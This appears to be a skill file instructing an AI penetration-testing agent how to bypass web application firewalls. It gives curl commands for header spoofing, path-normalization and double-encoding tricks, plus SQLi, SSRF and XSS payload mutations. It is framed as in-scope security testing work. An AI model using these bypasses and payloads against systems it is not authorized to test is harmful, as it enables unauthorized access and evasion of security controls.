waf-bypass-and-exploitation

name	waf-bypass-and-exploitation
description	Applies URL encoding, header tampering, path normalization, and payload mutation to bypass Web Application Firewalls (WAF) when testing valid vulnerabilities.

WAF Bypass & Exploitation Skill

Purpose

Guide the agent on executing advanced encoding, header spoofing, and request restructuring techniques when encountering HTTP 403 Forbidden, 406 Not Acceptable, or 429 Too Many Requests from Web Application Firewalls (Cloudflare, Akamai, AWS WAF, ModSecurity).

Knowledge References

• Consult /workspace/knowledge/payloads/waf-evasion.md
• Consult /workspace/knowledge/payloads/ssrf-bypass.md
• Consult /workspace/knowledge/payloads/sqli-auth-bypass.md

Workflow

1. Identify WAF Signature

Inspect HTTP response headers for firewall indicators:

curl -sI "https://target.com/test-probe" | grep -Ei '(cloudflare|akamai|incap|sucuri|mod_security|aws-waf|cf-ray|x-waf)'

2. Header-Based Path Overrides

When /admin or /api/internal is restricted:

# Test X-Original-URL and X-Rewrite-URL
curl -s -H "X-Original-URL: /admin" "https://target.com/"
curl -s -H "X-Rewrite-URL: /admin" "https://target.com/"

# Test IP Spoofing Headers
curl -s -H "X-Forwarded-For: 127.0.0.1" \
        -H "X-Custom-IP-Authorization: 127.0.0.1" \
        -H "X-Real-IP: 127.0.0.1" \
        "https://target.com/admin"

3. Path & URL Normalization Variations

Test alternative path interpretations:

# Semicolon and matrix parameters
curl -s "https://target.com/admin;/"
curl -s "https://target.com/api/v1/..;/admin"

# Double URL encoding
curl -s "https://target.com/%252e%252e%252fadmin"

# Trailing dots and spaces
curl -s "https://target.com/admin."
curl -s "https://target.com/admin%20"

4. Payload Mutation & Whitespace Tampering

When injecting SQLi, SSTI, or XSS:

• SQLi: Replace SELECT 1,2 FROM table with SELECT(1),(2)FROM(table) or SELECT/**/1,2/**/FROM/**/table.
• SSRF: Replace 127.0.0.1 with 2130706433 (decimal) or 0177.0.0.1 (octal) or 127.0.0.1.nip.io.
• XSS: Use character code evaluation String.fromCharCode(88,83,83) or top[/al/.source+/ert/.source](origin).

Output Artifacts

• /workspace/output/waf_bypass_log.txt - Successful bypass technique and exact working payload.

Responsible Testing Boundary

• Bypassing a WAF is done solely to verify legitimate business or security impact within scope.
• Do not perform high-volume DoS or attempt to disrupt cloud firewall infrastructure.